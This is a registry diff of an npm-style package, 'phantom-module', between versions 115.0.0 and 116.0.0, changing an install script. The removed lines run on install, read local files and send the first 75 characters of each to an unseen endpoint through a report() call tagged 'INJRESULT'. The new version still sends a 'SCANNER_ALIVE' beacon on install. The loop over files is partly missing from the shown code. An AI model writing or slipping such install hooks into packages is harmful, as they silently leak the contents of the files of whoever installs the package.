phantom-module 115.0.0 → 116.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +2 -11
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -12,15 +12,6 @@ async function report(mid, val) {
|
|
|
12
12
|
}
|
|
13
13
|
|
|
14
14
|
(async () => {
|
|
15
|
-
//
|
|
16
|
-
|
|
17
|
-
try {
|
|
18
|
-
const content = fs.readFileSync(f, 'utf8').trim();
|
|
19
|
-
if (content) {
|
|
20
|
-
await report('ECT-987654', 'INJRESULT_' + f + '=' + content.substring(0, 75));
|
|
21
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
22
|
-
}
|
|
23
|
-
} catch(e) {}
|
|
24
|
-
}
|
|
25
|
-
await report('ECT-472839', 'INJCHECK_DONE');
|
|
15
|
+
// Only write to ECT-839201 (NOT ECT-654321 which is reserved for web app)
|
|
16
|
+
await report('ECT-839201', 'SCANNER_ALIVE_v116');
|
|
26
17
|
})();
|